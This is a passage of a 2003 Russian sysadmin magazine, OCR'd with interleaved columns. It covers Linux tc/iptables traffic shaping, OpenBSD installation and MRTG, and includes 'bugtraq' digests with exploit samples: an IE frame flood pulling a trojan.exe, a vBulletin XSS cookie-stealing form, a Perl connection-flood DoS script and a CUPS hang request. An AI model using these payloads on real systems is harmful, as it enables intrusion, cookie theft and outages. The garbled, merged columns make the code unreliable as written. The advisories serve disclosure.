 если необходимо создать несколько правил, объеди- менять те же директивы, что и в tbf-очереди при ука-
ненных «ИЛИ», то необходимо создавать эти правила зании особого параметра – police:
в различных командах tc filter add. buffer
mtu
Составлять правила фильтров совсем несложно: mpu
 match ip src ip_addr – поиск совпадения IP-адреса от- rate
правителя;
 match ip dst ip_addr – поиск совпадения IP-адреса на- Если трафик превышает установленный лимит, то сам
значения (полезно при маршрутизации); фильтр может выполнять определённые действия:
 match ip sport | dport port_num 0xffff – поиск совпаде- drop – отбрасывание трафика, превысевшего лимит;
ния порта источника или порта назначения, назначе- pass – пропускание такого трафика.
ние символов 0xffff – установка маски совпадения.
 существует также возможность создания хешей фильт-
Существует также возможность фильтрации на осно- ров (т.е. групп фильтров, которые применяются при про-
ве меток netfilter. Метки ставятся с помощью iptables сле- хождении определённых других фильтров), но это при-
дующим образом: меняется лишь в случаях тысяч правил, когда обработка
всех фильтров занимает значительное процессорное
# iptables -A FORWARD -t mangle -i eth0 -j MARK --set-mark 6 время. Объем этой статьи не позволяет мне рассказать
и об этой возможности, поэтому при возникновении этой
где вместо 6-ки может быть любое число до 255. проблемы нужно почитать HOWTO – www.lartc.org.
Установка фильтра выглядит несколько необычно:
После настройки фильтрации необходимо добавить
# tc filter add dev eth0 ptrotocol ip parent 1:0 ↵ очереди, реализующие классы. Это делается вполне стан-
prio 1 handle 6 fw classid 1:1
дартным образом (очереди могут быть любого типа, что
Обратите внимание на отсутствие директивы u32, дирек- позволяет выполнять самые разнообразные задачи). Для
тивы handle, fw и classid (вместо flowid). нашего примера это будет выглядеть так:
Далее будет показано на примере, как выбирать паке-
ты с установленными флагами SYN, ASK, выбирать про- # tc qdisc add dev eth0 parent 1:10 handle 20: pfifo limit 500
# tc qdisc add dev eth0 parent 1:11 handle 30: pfifo limit 500
токол (TCP, UDP, ICMP), что позволяет предотвращать не- # tc qdisc add dev eth0 parent 1:12 handle 40: pfifo limit 500
которые виды DoS-атак. # tc qdisc add dev eth0 parent 1:13 handle 50: sfq perturb 10
Для понимания фильтров, которые будут рассмотре-
ны чуть позже, разъясню назначение некоторых дополни- Обратите внимание, что родителями этим очередям
тельных параметров фильтров: являются классы, таким образом, псевдодерево будет выг-
 поиск «сырых» байт – match [u32|u16|u8] 0xXX 0xMASK лядеть так:
at where, где маска – 16-ое значение маски соответству-
ющего формата, например u32 – 32 бита, u16 – 16 бит,
u8 – 8 бит соответственно. Параметр where – обычное
число, означающее количество соответствующих эле-
ментов (u32, u16, u8), отсчитанных от начала пакета.
Например, фильтр match u8 0x10 0xff at 33 означает вы-
бор поля ToS «Минимальная задержка»;
 поиск протокола – match ip protocol 6 0xff – поиск паке-
тов TCP-протокола;
 непосредственный поиск поля ToS – match ip tos 0x10
0xff;

10
администрирование
Еще хотел бы остановить ваше внимание на классе 1:1.
На самом деле может быть несколько классов верхнего
уровня, что позволяет строить весьма сложную иерар-
хию классов.
На этом я, пожалуй, закончу теоретическое рассмот-
рение очередей и приведу реальный пример использова-
ния очередей для управления трафиком. В этом примере
я покажу основные возможности очередей: разделение
трафика и создание полос пропускания, фильтрацию на
основе поля ToS, защита сервера от SYN- и ICMP-флуда,
разделение трафика между несколькими сетевыми интер-
фейсами (туннели высокой пропускной способности, ана-
лог port link в Cisco Catalyst). Итак, конфигурация сети:
В нашем случае имеется сервер, соединяющий две
локальные сети (Server A). Он соединен через две сете-
вые карты со 2-м сервером (Server B) для повышения эф-
фективности обмена данными между двумя серверами
(например, резервные копии одного сервера на другом).
Я не буду подробно останавливаться на механизмах мар-
шрутизации и разграничения доступа, а для начала про-
сто поясню, как при помощи очередей реализовать рас-
пределение трафика по двум интерфейсам. Для этого
существует специальный тип очереди – teql. Сначала не-
обходимо добавить такую очередь к двум интерфейсам
(в нашем случае – eth1 и eth2):

# tc qdisc add dev eth1 root teql0


# tc qdisc add dev eth2 root teql0

После этого появляется виртуальный интерфейс –


teql0. Работа с ним не отличается от работы с любым дру-
гим интерфейсом:

# ip link set dev teql0 up

– включает интерфейс.
Учтите, что подобную операцию нужно проделать на
обеих машинах (Server A и Server B), а после этого необ-
ходимо настроить первоначально маршрутизацию:

Server A
# ip addr add dev eth1 10.0.0.1/31
# ip addr add dev eth2 10.0.0.3/31 firewall и максимальную скорость связи). Главной «оптими-
# ip addr add dev teql0 10.0.0.5/31 зации» подвергнется интерфейс eth0, ведущий в локаль-
Server B
# ip addr add dev eth1 10.0.0.2/31 ную сеть. Eth0 – стомегабитная сетевая карта. В нашей сети
# ip addr add dev eth2 10.0.0.4/31 имеется 2 «особых» клиента: 192.168.2.2 и 192.168.2.3. Им
# ip addr add dev teql0 10.0.0.6/31
необходимо выделить отдельные полосы пропускания для
При этом серверы будут общаться через виртуальную ftp- и smb-трафика (по 10 Мбит каждому). Кроме этого, сеть
подсеть 10.0.0.0/31 и будут видеть друг друга через адре- состоит из рабочих станций под управлением Unix/Linux и
са 10.0.0.5 и 10.0.0.6 соответственно. Необходимо также очень много работают с сервером по ssh (10 Мбит допол-
отключить «отброс» пакетов серверами: нительно). Помимо всего прочего, в сети необходимо учи-
тывать ToS-флаги и ограничивать icmp-трафик (защита от
# echo 0 > /proc/sys/net/ipv4/conf/eth1/rp_filter любителей делать ping -f). Задачка не из легких, не так ли?
# echo 0 > /proc/sys/net/ipv4/conf/eth2/rp_filter
Особенно если учесть, что мы будем устанавливать для
т.к. это может вызвать нежелательные циклы пакетов различных полос различный приоритет...
между серверами (каждый сервер будет отбрасывать не Для начала создаем htb-очередь для выделения полос
предназначенные ему пакеты в петлю, и эти пакеты будут пропускания:
гулять, пока не истечет ttl).
На этом будем считать настройку интерфейсов eth1 и # tc qdisc add dev eth0 root handle 1: default 14
eth2 законченной (если Server B настроен правильно, то
причин для беспокойства нет, иначе есть смысл настроить и сами полосы:

№6(7), июнь 2003 11


администрирование
# tc class add dev eth0 parent 1: handle 1:1 rate ↵ Мы установили лимит SYN-пакетов до 320 пакетов в се-
10mbit burst 150000 ceil 100mbit
# tc class add dev eth0 parent 1:1 handle 1:11 rate ↵ кунду (пакет с SYN-флагом занимает 320 бит, но 320 па-
10mbit burst 15000 ceil 100mbit prio 2 кетов в секунду несколько многовато, хотя точно должно
# tc class add dev eth0 parent 1:1 handle 1:12 rate ↵
10mbit burst 15000 ceil 100mbit prio 2 обеспечить обработку всех запросов на соединение).
# tc class add dev eth0 parent 1:1 handle 1:13 rate ↵ ICMP:
10mbit burst 15000 ceil 100mbit prio 2
# tc class add dev eth0 parent 1:1 handle 1:14 rate ↵ Тут мы имеем дело с обычным выделением полосы
69mbit burst 100000 ceil 100mbit prio 3 пропускания и фильтрацией протокола:

Одна полоса для ICMP-трафика: # tc filter add dev eth0 parent 10:0 protocol ip ↵
prio 100 u32 match ip protocol 1 0xff flowid 1:15
# tc class add dev eth0 parent 1:1 handle 1:15 rate ↵ Значение protocol 1 соответствует ICMP.
100kbit burst 1000 ceil 100mbit prio 4
 добавляем фильтр TCP-AСK пакетов:
Ещё одна полоса для TCP-AСK пакетов (эти пакеты дол-
жны иметь максимальный приоритет, т.к. это существенно # tc filter add dev eth0 parent 1: protocol ip ↵
prio 10 u32 match ip protocol 6 0xff match u8 ↵
повышает скорость загрузки данных с сервера к клиенту): 0x05 0x0f at 0 match u16 0x0000 0xffc0 at ↵
2 match u8 0x10 0xff at 33 flowid 1:15
# tc class add dev eth0 parent 1:1 handle 1:16 rate ↵
900kbit burst 2500 ceil 100mbit prio 1
Эта строчка выглядит несколько сложно, но здесь ис-
Создаем фильтры: пользуется сырой разбор заголовков пакетов, поэто-
 создаем фильтры для особых клиентов: му весьма сложно понять, что к чему.
Для клиента А:
На этом настройки фильтрации заканчиваются. При-
# tc filter add dev eth0 protocol ip parent 1:0 ↵ ступим к добавлению очередей, реализующих классы:
prio 1 u32 match ip src 192.168.2.2 ↵
match ip dport 110 0xffff flowid 1:11  для особых клиентов подойдут обычные pfifo-очереди:
# tc filter add dev eth0 protocol ip parent 1:0 ↵
prio 1 u32 match ip src 192.168.2.2 ↵
match ip dport 138 0xfff flowid 1:11 # tc qdisc add dev eth0 parent 1:11 handle 20: ↵
pfifo limit 500
# tc qdisc add dev eth0 parent 1:12 handle 30: ↵
Через 138-й порт в протоколе NetBios передаются дан- pfifo limit 500
ные.
Для клиента Б:  для ssh-полосы лучше всего использовать sfq для рав-
номерности распределения клиентов:
# tc filter add dev eth0 protocol ip parent 1:0 ↵
prio 1 u32 match ip src 192.168.2.3 ↵ # tc qdisc add dev eth0 parent 1:13 handle 40: ↵
match ip dport 110 0xffff flowid 1:12 sfq pertrub 10
# tc filter add dev eth0 protocol ip parent 1:0 ↵
prio 1 u32 match ip src 192.168.2.3 ↵
match ip dport 138 0xfffflowid 1:12  для остальной части подсети лучше всего использо-
вать pfifo_fast очередь, т.к. необходимо выделять при-
 создаем фильтрацию ssh-трафика: оритетный трафик. pfifo_fast было выбрано вместо prio
только по причине простоты использования (думаю,
# tc filter add dev eth0 protocol ip parent 1:0 ↵ скрипт, реализующий установку всех очередей, и так
prio 1 u32 match ip dport 22 0xffff flowid 1:13
способен смутить любого):
 задаем предел для ICMP и SYN-TCP трафика:
SYN: # tc qdisc add dev eth0 parent 1:14 handle ↵
50: pfifo_fast
Для начала установим правила отбора SYN-пакетов
при помощи iptables (это намного проще, чем исполь-  для AСK-пакетов подойдет также pfifo-очередь:
зовать сырой разбор пакетов и маскирование битов):
# tc qdisc add dev eth0 parent 1:15 handle 60: ↵
# iptables -A PREROUTING -i eth0 -t mangle -p ↵ pfifo limit 15
tcp --syn -j MARK --set-mark 1
Вот и все, я завершаю свой пример и рассказ о traffic
После этого необходимо добавить особый тип очере- control в GNU/Linux. Надеюсь, что моя статья окажется вам
ди – ingress, которая пропускает трафик не выше за- полезной. На этом я и прощаюсь с вами.
данной скорости, при этом заметьте, что очередь не Приведу ряд полезных ссылок:
имеет размещения (всегда root), что позволяет до- 1. http://www.lartc.org – Linux Advanced Routing and Traffic
бавлять к интерфейсу очередь ingress, не мешая htb Control HOWTO.
(или любой другой очереди), подключенной к этому 2. http://luxik.cdi.cz/~devik/qos/htb/manual/userg.htm – руко-
же интерфесу: водство по работе с htb-очередями (приведены гра-
фики производительности и описаны все основные па-
# tc qdisc add dev eth0 handle ffff: ingress раметры очередей этого типа).
# tc filter add dev eth0 parent ffff: protocol ip ↵
prio 50 handle 1 fw police rate 100kbit ↵ 3. RFC795 – документ, посвященный использованию поля
burst 1500 mtu 9k drop flowid :1 ToS.

12
bugtraq
Microsoft Internet Explorer может браузере целевого пользователя в контексте vBulletin сай-
выполнить произвольный код та. Пример: (требуется предварительная авторизация)
при обработке больших количеств
запросов загрузки <html>
<body>
Уязвимость обнаружена в Microsoft Internet Explorer (IE). <form action="http://[victim]/forum/private.php" method="post"
Удаленный пользователь может сконструировать HTML, name="vbform">
<input type="hidden" name="do" value="insertpm" />
который заставит браузер выполнить произвольный код. <input type="hidden" name="pmid" value="" />
Сообщается, что удаленный пользователь может скон- <input type="hidden" name="forward" value="" />
<input type="hidden" name="receipt" value="0" />
струировать HTML, который, когда будет загружен в бра-
узере, заставит IE открыть большое количество фреймов. <input type="text" class="bginput" name="title" value=""
size="40"
Если последние несколько фреймов ссылаются на злона- tabindex="2" />
меренный файл, расположенный на удаленном сервере, <textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"></textarea>
IE не в состоянии проверить ограничения зоны безопас- <input type="submit" class="button" name="sbutton" value="Pos
ности для этих фреймов и выполнит произвольный код. t Message"
accesskey="s" tabindex="4" />
Уязвимость затрагивает не все версии IE. На уязви- <input type="submit" class="button" value="Preview Message"
мых версиях существует некоторая вероятность несра- access
key="p"
батывания уязвимости. Например, в IE 6.0.2800.1106 на name="preview" onclick="this.form.dopreview = true; return
Windows 2000 успешная работа эксплоита будет наблю- true;this.form.submit()" tabindex="5" >
даться в 95% случаях. Пример: <input type="checkbox" name="savecopy" value="1" id="cb_savec
opy"
FRAME SRC="C:\winnt\welcome.exe"></FRAME> checked="checked" />
<FRAME SRC="C:\winnt\notepad.exe"></FRAME> <input type="checkbox" name="signature" value="1" id="cb_sign
<FRAME SRC="C:\winnt\regedit.exe"></FRAME> ature" />
... together around 191 ... and after comes our trojan ... <input type="checkbox" name="parseurl" value="1" id="cb_parse
<FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME> url"
<FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME> checked="checked" />
<FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME> <input type="checkbox" name="disablesmilies" value="1"
<FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME> id="cb_disablesmilies" />
<FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME> </form>
<script>
Уязвимость обнаружена в Microsoft Internet Explorer 6, //Set Values and Submit
tested on 6.0.2800.1106 on Windows 2000. // You can write your own JS codes
var xss = "\"><script>alert(document.cookie)<\/script>";
document.vbform.title.value=xss;
Недостаток в ядре Linux 2.4 в кеше document.vbform.preview.click();
</script>
маршрута позволяет удаленному </body>
пользователю вызвать условие отказа </html>
в обслуживании Уязвимость обнаружена в vBulletin 3.0.0 Beta 2.
Уязвимость обнаружена в ядре Linux 2.4 в кеше хеш-табли-
цы маршрута. Удаленный пользователь может послать спе- Удаленное переполнение буфера
циально сформированный пакет, чтобы заставить систему в Microsoft Windows Script Engine
использовать 100% ресурсов центрального процессора. Удаленный пользователь может аварийно завершить ра-
Уязвимость обнаружена в выполнении хеш-таблицы в боту IE или выполнить произвольный код с привилегиями
Netfilter IP conntrack модуле и ядре. Другие хеш-таблицы текущего пользователя.
внутри ядра могут быть также уязвимы. Удаленный Переполнение буфера обнаружено в библиотеке об-
пользователь может послать пакет со специально обра- работки JScript – jscript.dll, расположенной в
ботанным значением и недопустимым адресом источни- %SystemRoot%\system32. Сообщается, что уязвимость мо-
ка, чтобы вызвать коллизию хеша, в результате каждая жет использоваться для выполнения произвольного кода.
запись в кеше маршрута будет записана в ту же самую Пример:
цепочку хеширования. Это заставит ядро использовать <script>
100% ресурсов CPU и может привести к условиям отказа this.window();
в обслуживании. </script>
Уязвимость обнаружена в Linux 2.4, prior to 2.4.21-rc2. или
<script>
Межсайтовый скриптинг self.window();
</script>
в частных сообщениях в vBulletin
Уязвимость в проверке правильности ввода обнаружена Работа IE аварийно завершится со следующей ошибкой:
в vBulletin при просмотре частных сообщений. Удаленный The instruction at "0x6b73aa15" referenced memory at
пользователь может выполнить XSS-нападение. "0x006f0063".
The memory could not be "read".
Сообщается, что сценарий 'private.php' не фильтрует
данные, представленные пользователем. Удаленный Уязвимость обнаружена в Internet Explorer 5.0-6.0.
пользователь может сконструировать специально сфор-
мированную веб-форму, которая при загрузке в браузере
пользователя выполнит произвольный код сценария в Составил Александр Антипов

№6(7), июнь 2003 13


администрирование

ВВЕДЕНИЕ
В

ДЕНИС НАЗАРОВ

14
администрирование
Проект берет свое начало из системы NetBSD, когда один  RELEASE – релиз, система, которую вы получаете, ус-
из четырех главных разработчиков проекта Theo de Raadt танавливая OpenBSD с официальных CD-ROM или дру-
(Тео де Радт) решил создать свою собственную реализа- гих источников.
цию UNIX-подобной системы, делая максимальный упор  STABLE – система, на которую наложены все необхо-
на безопасность. OpenBSD унаследовала из NetBSD в ос- димые исправления и выполнены все рекомендации
новном только мультиплатформенность. Остальное же по настройке.
было написано с нуля или кардинально переделано. Вся  CURRENT – текущая, сырая система. В нее постоянно
переписка, предшествующая появлению OpenBSD, нахо- вносятся исправления, улучшения, добавляется новое
дится тут: http://zeus.theos.com/deraadt/coremail.html. Код ПО и прочее. Из этой версии в итоге вытекает новая
системы полностью открыт и каждый желающий может система RELEASE.
помочь с разработкой системы. В процессе работы над
OpenBSD был проделан огромный труд. Разработчики зат- На одном из серверов, которые я контролирую, была
ратили много времени, выявляя и устраняя слабые места установлена OpenBSD CURRENT версии 3.0 и она успеш-
в системе защиты OpenBSD. но обновляется и по сей день. Использование ветки STABLE
 Одна удаленная уязвимость в системе за 7 лет при предпочтительней на production-серверах, где важна ста-
инсталляции «по умолчанию». бильность и надежность. Однако по собственному опыту
 В системе широко используется кодирование данных. могу сказать, что CURRENT ничуть не хуже STABLE, а по-
 В состав системы входит KerberosIV, KerberosV. рой даже лучше, удерживает лишь мысль «вдруг на
 Большинство идентификаторов (таких, например, как CURRENT что-то перестанет работать?»
PID) генерируется по случайному закону. После установки системы можно сразу заметить «чи-
 Полностью контролируется использование каталога /tmp. стоту» системы. Большинство сервисов отключено (но
 Полностью контролируется работа с буферами данных, установлено!), конфигурационные файлы дают понять, что
в частности отслеживается момент их переполнения. система уже довольно жестко настроена. Отличный ход
 Устранены недостатки работы с протоколами при ко- OpenBSD team – это страница мануала afterboot (man
пировании файлов, маршрутизации, использовании afterboot), на которой очень хорошо описано, что нужно
зарезервированных портов и прочее. сделать сразу после установки системы, чтобы привести
 Система активно противодействует незаконным по- ее в идеальное состояние.
пыткам сбора информации (OS fingerprinting). Система очень компактна, после установки она заняла
 Используется новый системный вызов mkstemp (и про- у меня всего 210 Mб без системы X Windows. При этом вы
чее), улучшающий обработку каталога /tmp. получаете полноценную систему с компилятором, которая
 IP-фильтры являются стандартными компонентами ядра. готова служить вам верой и правдой с этой же минуты.
 В ядро включены средства кодирования IP Photuris. Очевидные для меня минусы системы:
 Модифицированы средства обработки сигналов, зат-  Отсутствие поддержки SMP (symmetric multiprocessor),
рагивающих ядро. но в данный момент уже есть проект, который разра-
 Устранены нарушения защиты в strcpy и других сис- батывает поддержку SMP для i386 и Sparc.
темных вызовах.  Отсутствие поддержки некоторых RAID-массивов.
 Присутствует контроль за переполнением переменных  Отсутствие поддержки некоторых сетевых карт (хотя
окружения. эта проблема решилась портированием драйвера из
 В Kerberos устранены ошибки, связанные с перепол- FreeBSD).
нением буферов.
 В libc включены средства кодирования. OpenBSD часто используется на границах сети как меж-
 В системе используются гибкие механизмы кодирова- сетевой экран (firewall) и/или роутер (router). Система обла-
ния паролей (Blowfish и прочее). дает мощнейшим пакетным фильтром и интегрированным
 В стандартные утилиты встроена поддержка S/Key. контролем полосы пропускания. Использование OpenBSD
 Выбор портов для прикладных программ осуществля- также обусловлено низким приростом удаленных уязвимо-
ется по случайному закону. стей, делая ее надежным, дешевым и гибким решением.
 В систему входит мощнейший пакетный фильтр PF
(OpenBSD’s Packet Filter). Инсталляция системы
 Контроль за всеми обращениями к ядру приложений Хорошо, приступим к инсталляции данной прелести на
при помощи systrace. наш подопытный сервер. Сразу оговорюсь про железо.
 В компилятор (GCC), начиная с версии 3.3, встроена P4 1,75Ghz / 1Gb RAM / 80Gb HDD / Intel-Ethernet Express
защита propolicy. Pro 100Mb/s. Да, железо неслабое, но ставлю на то, что
 Большинство стандартных сервисов, предоставляемых есть. По поводу работы OpenBSD на более «плохом» же-
системой, запускаются в изолированном пространстве лезе можно смело ответить «Да!». У меня в руках 3 диска:
(chroot).  Базовый инсталляционный диск.
 Набор заранее скомпилированного ПО для системы
Это лишь малая часть всех тех прелестей, которыми (Packages).
обладает OpenBSD. Разработчики предоставляют вам  Дополнительное ПО для других платформ (Sparc,
возможность иметь 3 вида реализации OpenBSD: Alpha…).

№6(7), июнь 2003 15


администрирование
Ставить систему, конечно, можно и не с CD-ROM, но Partition может рассматриваться как общий кусок диска для
это наиболее удобный способ, по моему мнению. Прежде OpenBSD, если на компьютере установлено больше одной
всего, перед началом инсталляции вы должны четко знать: ОС, иначе же partition будет рассматриваться как filesystem.
 Имя будущей машины (hostname). Не морочьте себе голову, после первого общения с fdisk
 Совместимость всего hardware с системой. OpenBSD вы разберетесь в этом раз и навсегда.
 Метод установки (CD-ROM, FTP…).
 Разметку диска.
 Сетевые настройки, если вы не собираетесь исполь- Система спрашивает, будем ли мы использовать весь
зовать DHCP. Имя домена (domain name), сервера имен диск для нее или же выделим ей отдельный partition.
(DNS servers), IP-адрес, сетевую маску для ваших се-
тевых карт и шлюз (gateway).
 Собираетесь ли вы использовать систему X-Windows.
Отлично, включаем в BIOS загрузку с CD-ROM, встав-
ляем первый диск и перегружаемся. Дальше вы видите
нечто вроде:

Что это значит:


 Install – полная установка системы с записью всех фай-
лов и каталогов, созданием новой разметки диска (хотя
если диск размечен уже был, можно оставить как есть)
и выполнению всех процедур установки.
 Upgrade – установка только «install files», без внесе-
ния каких-либо изменений в конфигурацию системы,
данных или же разметки диска.
 Shell – иногда требуется внести изменения в текущую
систему с использованием другого ядра, данная оп-
ция как раз позволяет делать это. Вот он! Тот самый fdisk, который кажется всем страш-
ным и пугает. Но на самом деле это довольно безобидная
Смело выбираем «I» и идем дальше. Видим следующее: и очень гибкая (в умелых руках) утилита. Расскажу о ней
подробнее. Команды можно сокращать, например, так:
 r или reinit: очищает весь диск и создает одну боль-
шую partition для OpenBSD. Равносильно ответу «yes»
в вопросе «use *all* of ...».
 p или print: выводит информацию о текущем разделе
в секторах. «p m» покажет информацию в мегабай-
тах, «p g», соответственно, в гигабайтах.
 e или edit: редактировать запись в таблице.
Информация для ознакомления с процедурами ввода  f или flag: помечает раздел как загрузочный и разре-
данных при инсталляции, в принципе ничего сложного. шает грузиться с него.
Идем дальше. Предупреждение о возможной потери  exit и quit: внимание, команды «exit» and «quit» имеют
всех данных. разные значения. Команда exit заставляет fdisk завер-
шиться «фатально», т.е изменения не будут внесены,
в то время как комадна quit подразумевает успешное
завершение программы, запись всех изменений на
диск, однако перед quit все-таки еще стоит использо-
вать команду write для большей надежности.

Вот тут уже и начинается самое интересное – разбие- Прежде чем начинать работать с fdisk, сохраните все
ние диска: важные данные. Хорошо, начинаем:

Однако хочу предупредить, понятие partition тут двояко.

16
администрирование
Следующий раздел (a b) по умолчанию принимается
системой как SWAP, поэтому нужно сделать необходи-
мые изменения в размере раздела. Продолжая процесс,
добавляем все необходимые нам разделы и записываем
информацию командами w и q (write, quit).
Дальше начинается процесс непосредственного фор-
матирования разделов:

После создания разделов начинается этап переконфи-


гурирования системы.
Нас спрашивают, как будет называться машина:

Эта информация будет сохранена в файле /etc/myname


и в дальнейшем может быть легко изменена.
Вот мы уже и на пороге кофигурации сети.

Типичная сессия работы с fdisk. Теперь по строчкам:


 p m – просматриваем информацию о разделах в мега-
байтах;
 d a – удаляем раздел «a», т.к. он пустой и ничем не
занят;
 a a – теперь вновь добавляем его, но уже со своими
параметрами для него:
 offset: [3069360] Enter – offset-смещение относитель-
но секторов;
 size: [36030960] 150M – размер раздела в мегабай- Система сама определяет сетевой интерфейс (если
тах Rounding to nearest cylinder: 307440 – ближай- таковой имеется) и предлагает настроить его путем вве-
ший цилиндр оставляем как есть; дения IP-адреса, маски сети, DNS-серверов и шлюза.
 FS type: [4.2BSD] Enter – тип файловой системы; Отлично, мы добрались до установки пароля супер-
 mount point: [none] / – точка монтирования. пользователя.

№6(7), июнь 2003 17


администрирование
полной красе. Выставляем время и сообщаем системе,
что не будем использовать X Windows.

Думаю, рассказывать, как важен пароль суперпользо-


вателя и каким он должен быть, мне нет смысла, т.к. име-
ется очень много документов, описывающих способы вы-
бора правильного пароля.
Выбор метода инсталляции:

Выбираем установку с CD-ROM путем ввода «c». Дальше


система спрашивает, где находятся необходимые файлы.
Последний взмах волшебной палочкой:

Переходим к выбору компонентов системы:

Добавить компонент можно так^ +xbase33*, а убрать –


misc33*. Выбрав все необходимое, переходим к процеду-
рее переноса и установки компонентов: Система поставлена. Осталось лишь нажать кнопку
перезагрузки и увидеть всю красоту, чистоту и прелесть
системы. Ну а что делать с ней дальше, я расскажу в сле-
дующей статье.

Ссылки по теме
1. Домашняя страница проекта OpenBSD:
http://www.openbsd.org
2. Журнал, посвященный OpenBSD:
http://www.deadly.org
3. Страница проекта OpenBSD.ru:
http://www.openbsd.ru
4. Информация о OpenBSD Packet filter:
http://www.benzedrine.cx/pf.html
Отлично, мои поздравления, вы поставили OpenBSD! 5. Огромная коллекция ссылок для OpenBSD:
Осталось совсем чуть-чуть для того, чтобы увидеть ее в http://www.infobsd.org/

18
bugtraq
Утечка памяти большим количеством Некорректный HTTP-заголовок
подключений в eServ может завесить CUPS-сервер
Отказ в обслуживании обнаружен в eServ. Утечка памяти Отказ в обслуживании обнаружен в Common UNIX Printing
позволяет удаленному пользователю исчерпать доступ- System (CUPS). Удаленный пользователь может нарушить
ные системные ресурсы на целевом сервере. работу CUPS-сервера.
Сообщается, что удаленный пользователь может под- Сообщается, что удаленный пользователь может под-
ключиться к серверу несколько тысяч раз, чтобы заставить ключиться к CUPS-серверу и вызвать условия отказа в
сервер выделить большое количество памяти, что в конеч- обслуживании, посылая специально обработанный HTTP-
ном счете приведет к зависанию сервера. Сообщается, что заголовок. Пример:
100 подключений может вызвать утечку памяти между 7.81
MB и 31.25 MB, а 50.000 подключений приведут к аварий- $ telnet <your_favorite_cups_server> ipp
POST /printers/<your_favorite_printer> HTTP/1.1
ному завершению работы сервера. Эксплоит:
Если пользователь вводит только один перевод ка-
#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't ретки после POST-строки, CUPS-сервер зависнет и пе-
#administer, and do not test this tool on networks you don't рестанет отвечать другим клиентам.
#own without permission of the network owner. You are
#responsible for all damage due to your use of this tool. Уязвимость обнаружена в CUPS до версии 1.1.19rc5.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n"; Локальное переполнение буфера
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
в переменной LOCATE_PATH в slocate
print "Service port to probe\: "; Целочисленное переполнение буфера обнаружено в
$port = trim(chomp($line = <STDIN>)); slocate. Локальный пользователь может получить подня-
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) { тые привилегии на системе.
$f = IO::Socket::INET->new(Proto=>"tcp", Сообщается, что локальный пользователь может экс-
PeerAddr=>"$host:$port");
undef $f; плуатировать целочисленное переполнение в функции
parse_decode_path(), устанавливая переменную
Исчерпание свободного пространства на LOCATE_PATH к значению, содержащему более
дисковом массиве в Apache mod_survey 536870912 ':' символов.
Уязвимость в проверке правильности ввода обнаруже- Также сообщается, что Linux-ядро по умолчанию не по-
на в модуле Apache mod_survey. Удаленный пользова- зволяет устанавливать переменные таких размеров, но
тель может исчерпать все доступное пространство на пользователь может перекомпилировать ядро с большим
дисковом массиве. значением параметра MAX_ARG_PAGES.
Удаленный пользователь может послать запросы о не-
существующих отчетах (survey), чтобы заполнить диско- Отказ в обслуживании
вый массив, на котором хранится архив данных. Про- в Intel Corporation Itanium 2 Processor
граммное обеспечение не проверяет, существует ли зап- Уязвимость обнаружена в процессоре Intel Itanium 2. Спе-
рашиваемый отчет до окончания создания архива циально сконструированная процедура может нарушить
"SYSBASE", основанного на имени отчета. В результате нормальную работу процессора.
удаленный пользователь может представить ответ отче- Проблема происходит, когда процессор пытается обра-
та для несуществующего имени отчета, чтобы создать ботать специально сконструированную процедуру. Когда
пустой SYSBASE. Созданный каталог будет занимать не- операция выполнена, процессор может прекратить функ-
которое место на файловой системе. ционировать. В настоящее время неизвестно, может ли этот
Уязвимость обнаружена в Apache mod_survey 3.0.0 to аварийный отказ постоянно нарушать работу процессора.
before 3.0.15-stable. Уязвимость обнаружена в Intel Corporation Itanium 2
Processor.
Переполнение буфера в Firebird позволяет
локальному пользователю получить Переполнение буфера в explorer.exe
root-привилегии при разборе desktop.ini-файла
Несколько переполнений буфера обнаружены в базе дан- Переполнение буфера обнаружено в explorer.exe при раз-
ных Firebird. Локальный пользователь может получить root- боре файла desktop.ini в Windows XP. Локальный пользо-
привилегии. ватель может получить поднятые привилегии на системе.
Приложения gds_inet_server, gds_drop, и gds_lock_mgr Переполнение буфера обнаружено в параметре
не выполняют проверку границ переменных, возвращен- lpReturnedString в desktop.ini. Локальный пользователь мо-
ных функцией getenv(). Локальный пользователь может жет представить специально обработанное значение для
установить переменную INTERBASE к специально обра- этого параметра, чтобы выполнить произвольный код с
ботанному значению, чтобы переполнить буфер и выпол- привилегиями пользователя, просматривающего диск с
нить произвольный код с root-привилегиями на Linux-сис- помощью эксплорера.
темах и с привилегиями базы данных на FreeBSD. Уязвимость обнаружена в Windows XP Service Pack 1.
Уязвимость обнаружена в Firebird 1.0.0, 1.0.2.
Составил Александр Антипов

№6(7), июнь 2003 19


администрирование

УЧЕТ ТРАФИКА
С ПОМОЩЬЮ ПРОГРАММ
MRTG И LAN BILLING

ДЕНИС КОЛИСНИЧЕНКО

20
администрирование
Программа MRTG (The Multi Router Traffic Grapher) предназ- Параметр WorkDir задает рабочий каталог. В этот ката-
начена для мониторинга загрузки канала за сутки, неделю, лог будут помещены html-файлы и рисунки – отчеты о тра-
месяц и год. Программа MRTG умеет рисовать красивые фике. Каталог /var/www/html/, как вы уже успели заметить,
картинки в формате PNG, которые отображают состояние является корневым каталогом нашего веб-сервера, поэто-
канала за определенный период времени. Программа пре- му для просмотра статистики нужно ввести следующий URL
доставляет очень удобные средства для подсчета трафика: в окне браузера: http://localhost/mrtg/.
подсчет для всей сети и для отдельного узла, генерирова- Кроме параметра WorkDir имеются также параметры
ние отчетов и диаграмм в формате HTML и многое другое. HtmlDir и ImageDir. В эти каталоги будут помещены html-
Пример использования вы можете увидеть на сайте файлы и картинки. При определении этих параметров нуж-
http://www.stat.ee.ethz.ch/mrtg/. но учитывать, что параметр WorkDir имеет приоритет над
Для работы mrtg нам потребуется маршрутизатор, под- параметрами HtmlDir и ImageDir и поэтому, если указан па-
держивающий протокол SNMP. В этой статье будет рас- раметр WorkDir, mrtg поместит отчеты и картинки именно в
смотрен пример, позволяющий обойтись без маршрути- этот каталог, а значения параметров HtmlDir и ImageDir
затора и вообще не использовать протокол SNMP. будут проигнорированы.
